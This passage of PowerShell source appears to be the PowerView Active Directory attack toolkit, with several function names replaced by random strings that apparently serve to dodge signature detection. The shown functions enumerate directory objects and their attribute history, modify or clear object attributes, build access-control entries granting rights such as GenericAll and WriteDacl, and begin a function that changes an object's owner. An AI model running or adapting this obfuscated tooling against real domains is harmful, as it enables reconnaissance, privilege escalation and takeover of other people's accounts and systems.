Write-Verbose "[7M60VMOB] Error disposing of the Results object: $_" | |
} | |
} | |
$CompSearcher.dispose() | |
} | |
} | |
} | |
function H86VA398 { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] | |
[OutputType('PowerView.ADObject')] | |
[OutputType('PowerView.ADObject.Raw')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] | |
[String[]] | |
$Identity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Alias('ReturnOne')] | |
[Switch] | |
$FindOne, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$Raw | |
) | |
DynamicParam { | |
$UACValueNames = [Enum]::GetNames($UACEnum) | |
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} | |
Y29S8XBN -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) | |
} | |
BEGIN { | |
$SearcherArguments = @{} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$ObjectSearcher = 4I4THHU7 @SearcherArguments | |
} | |
PROCESS { | |
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { | |
Y29S8XBN -CreateVariables -BoundParameters $PSBoundParameters | |
} | |
if ($ObjectSearcher) { | |
$IdentityFilter = '' | |
$Filter = '' | |
$Identity | Where-Object {$_} | ForEach-Object { | |
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') | |
if ($IdentityInstance -match '^S-1-') { | |
$IdentityFilter += "(objectsid=$IdentityInstance)" | |
} | |
elseif ($IdentityInstance -match '^(CN|OU|DC)=') { | |
$IdentityFilter += "(distinguishedname=$IdentityInstance)" | |
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { | |
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
Write-Verbose "[H86VA398] Extracted domain '$IdentityDomain' from '$IdentityInstance'" | |
$SearcherArguments['Domain'] = $IdentityDomain | |
$ObjectSearcher = 4I4THHU7 @SearcherArguments | |
if (-not $ObjectSearcher) { | |
Write-Warning "[H86VA398] Unable to retrieve domain searcher for '$IdentityDomain'" | |
} | |
} | |
} | |
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { | |
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' | |
$IdentityFilter += "(objectguid=$GuidByteString)" | |
} | |
elseif ($IdentityInstance.Contains('\')) { | |
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical | |
if ($ConvertedIdentityInstance) { | |
$ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) | |
$ObjectName = $IdentityInstance.Split('\')[1] | |
$IdentityFilter += "(samAccountName=$ObjectName)" | |
$SearcherArguments['Domain'] = $ObjectDomain | |
Write-Verbose "[H86VA398] Extracted domain '$ObjectDomain' from '$IdentityInstance'" | |
$ObjectSearcher = 4I4THHU7 @SearcherArguments | |
} | |
} | |
elseif ($IdentityInstance.Contains('.')) { | |
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" | |
} | |
else { | |
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" | |
} | |
} | |
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { | |
$Filter += "(|$IdentityFilter)" | |
} | |
if ($PSBoundParameters['LDAPFilter']) { | |
Write-Verbose "[H86VA398] Using additional LDAP filter: $LDAPFilter" | |
$Filter += "$LDAPFilter" | |
} | |
$UACFilter | Where-Object {$_} | ForEach-Object { | |
if ($_ -match 'NOT_.*') { | |
$UACField = $_.Substring(4) | |
$UACValue = [Int]($UACEnum::$UACField) | |
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" | |
} | |
else { | |
$UACValue = [Int]($UACEnum::$_) | |
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" | |
} | |
} | |
if ($Filter -and $Filter -ne '') { | |
$ObjectSearcher.filter = "(&$Filter)" | |
} | |
Write-Verbose "[H86VA398] H86VA398 filter string: $($ObjectSearcher.filter)" | |
if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } | |
else { $Results = $ObjectSearcher.FindAll() } | |
$Results | Where-Object {$_} | ForEach-Object { | |
if ($PSBoundParameters['Raw']) { | |
$Object = $_ | |
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') | |
} | |
else { | |
$Object = Convert-LDAPProperty -Properties $_.Properties | |
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') | |
} | |
$Object | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[H86VA398] Error disposing of the Results object: $_" | |
} | |
} | |
$ObjectSearcher.dispose() | |
} | |
} | |
} | |
function H86VA398AttributeHistory { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] | |
[OutputType('PowerView.ADObjectAttributeHistory')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] | |
[String[]] | |
$Identity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$Raw | |
) | |
BEGIN { | |
$SearcherArguments = @{ | |
'Properties' = 'msds-replattributemetadata','distinguishedname' | |
'Raw' = $True | |
} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['Properties']) { | |
$PropertyFilter = $PSBoundParameters['Properties'] -Join '|' | |
} | |
else { | |
$PropertyFilter = '' | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } | |
H86VA398 @SearcherArguments | ForEach-Object { | |
$ObjectDN = $_.Properties['distinguishedname'][0] | |
ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) { | |
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_ATTR_META_DATA' -ErrorAction SilentlyContinue | |
if ($TempObject) { | |
if ($TempObject.pszAttributeName -Match $PropertyFilter) { | |
$Output = New-Object PSObject | |
$Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN | |
$Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName | |
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange | |
$Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion | |
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN | |
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectAttributeHistory') | |
$Output | |
} | |
} | |
else { | |
Write-Verbose "[H86VA398AttributeHistory] Error retrieving 'msds-replattributemetadata' for '$ObjectDN'" | |
} | |
} | |
} | |
} | |
} | |
function H86VA398LinkedAttributeHistory { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] | |
[OutputType('PowerView.ADObjectLinkedAttributeHistory')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] | |
[String[]] | |
$Identity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$Raw | |
) | |
BEGIN { | |
$SearcherArguments = @{ | |
'Properties' = 'msds-replvaluemetadata','distinguishedname' | |
'Raw' = $True | |
} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['Properties']) { | |
$PropertyFilter = $PSBoundParameters['Properties'] -Join '|' | |
} | |
else { | |
$PropertyFilter = '' | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } | |
H86VA398 @SearcherArguments | ForEach-Object { | |
$ObjectDN = $_.Properties['distinguishedname'][0] | |
ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { | |
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue | |
if ($TempObject) { | |
if ($TempObject.pszAttributeName -Match $PropertyFilter) { | |
$Output = New-Object PSObject | |
$Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN | |
$Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName | |
$Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn | |
$Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated | |
$Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted | |
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange | |
$Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion | |
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN | |
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory') | |
$Output | |
} | |
} | |
else { | |
Write-Verbose "[H86VA398LinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" | |
} | |
} | |
} | |
} | |
} | |
function NC48X0KG { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name')] | |
[String[]] | |
$Identity, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Replace')] | |
[Hashtable] | |
$Set, | |
[ValidateNotNullOrEmpty()] | |
[Hashtable] | |
$XOR, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Clear, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$SearcherArguments = @{'Raw' = $True} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
} | |
PROCESS { | |
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } | |
$RawObject = H86VA398 @SearcherArguments | |
ForEach ($Object in $RawObject) { | |
$Entry = $RawObject.GetDirectoryEntry() | |
if($PSBoundParameters['Set']) { | |
try { | |
$PSBoundParameters['Set'].GetEnumerator() | ForEach-Object { | |
Write-Verbose "[NC48X0KG] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'" | |
$Entry.put($_.Name, $_.Value) | |
} | |
$Entry.commitchanges() | |
} | |
catch { | |
Write-Warning "[NC48X0KG] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_" | |
} | |
} | |
if($PSBoundParameters['XOR']) { | |
try { | |
$PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object { | |
$PropertyName = $_.Name | |
$PropertyXorValue = $_.Value | |
Write-Verbose "[NC48X0KG] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'" | |
$TypeName = $Entry.$PropertyName[0].GetType().name | |
$PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue | |
$Entry.$PropertyName = $PropertyValue -as $TypeName | |
} | |
$Entry.commitchanges() | |
} | |
catch { | |
Write-Warning "[NC48X0KG] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_" | |
} | |
} | |
if($PSBoundParameters['Clear']) { | |
try { | |
$PSBoundParameters['Clear'] | ForEach-Object { | |
$PropertyName = $_ | |
Write-Verbose "[NC48X0KG] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'" | |
$Entry.$PropertyName.clear() | |
} | |
$Entry.commitchanges() | |
} | |
catch { | |
Write-Warning "[NC48X0KG] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_" | |
} | |
} | |
} | |
} | |
} | |
function ConvertFrom-LDAPLogonHours { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.LogonHours')] | |
[CmdletBinding()] | |
Param ( | |
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[ValidateNotNullOrEmpty()] | |
[byte[]] | |
$LogonHoursArray | |
) | |
Begin { | |
if($LogonHoursArray.Count -ne 21) { | |
throw "LogonHoursArray is the incorrect length" | |
} | |
function ConvertTo-LogonHoursArray { | |
Param ( | |
[int[]] | |
$HoursArr | |
) | |
$LogonHours = New-Object bool[] 24 | |
for($i=0; $i -lt 3; $i++) { | |
$Byte = $HoursArr[$i] | |
$Offset = $i * 8 | |
$Str = [Convert]::ToString($Byte,2).PadLeft(8,'0') | |
$LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7]) | |
$LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6]) | |
$LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5]) | |
$LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4]) | |
$LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3]) | |
$LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2]) | |
$LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1]) | |
$LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0]) | |
} | |
$LogonHours | |
} | |
} | |
Process { | |
$Output = @{ | |
Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2] | |
Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5] | |
Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8] | |
Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11] | |
Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14] | |
Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17] | |
Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20] | |
} | |
$Output = New-Object PSObject -Property $Output | |
$Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours') | |
$Output | |
} | |
} | |
function New-ADObjectAccessControlEntry { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('System.Security.AccessControl.AuthorizationRule')] | |
[CmdletBinding()] | |
Param ( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name')] | |
[String] | |
$PrincipalIdentity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$PrincipalDomain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Parameter(Mandatory = $True)] | |
[ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')] | |
$Right, | |
[Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] | |
[ValidateSet('Allow', 'Deny')] | |
[String[]] | |
$AccessControlType, | |
[Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')] | |
[ValidateSet('Success', 'Failure')] | |
[String] | |
$AuditFlag, | |
[Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')] | |
[Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')] | |
[Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')] | |
[Guid] | |
$ObjectType, | |
[ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')] | |
[String] | |
$InheritanceType, | |
[Guid] | |
$InheritedObjectType | |
) | |
Begin { | |
if ($PrincipalIdentity -notmatch '^S-1-.*') { | |
$PrincipalSearcherArguments = @{ | |
'Identity' = $PrincipalIdentity | |
'Properties' = 'distinguishedname,objectsid' | |
} | |
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } | |
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } | |
$Principal = H86VA398 @PrincipalSearcherArguments | |
if (-not $Principal) { | |
throw "Unable to resolve principal: $PrincipalIdentity" | |
} | |
elseif($Principal.Count -gt 1) { | |
throw "PrincipalIdentity matches multiple AD objects, but only one is allowed" | |
} | |
$ObjectSid = $Principal.objectsid | |
} | |
else { | |
$ObjectSid = $PrincipalIdentity | |
} | |
$ADRight = 0 | |
foreach($r in $Right) { | |
$ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__) | |
} | |
$ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight | |
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid) | |
} | |
Process { | |
if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') { | |
if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { | |
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag | |
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { | |
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) | |
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { | |
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType | |
} elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { | |
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType | |
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { | |
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType | |
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { | |
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType | |
} | |
} | |
else { | |
if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { | |
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType | |
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { | |
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) | |
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { | |
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType | |
} elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { | |
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType | |
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { | |
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType | |
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { | |
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType | |
} | |
} | |
} | |
} | |
function NC48X0KGOwner { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name')] | |
[String] | |
$Identity, | |
[Parameter(Mandatory = $True)] | |
[ValidateNotNullOrEmpty()] | |
[Alias('Owner')] | |
[String] | |
$OwnerIdentity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
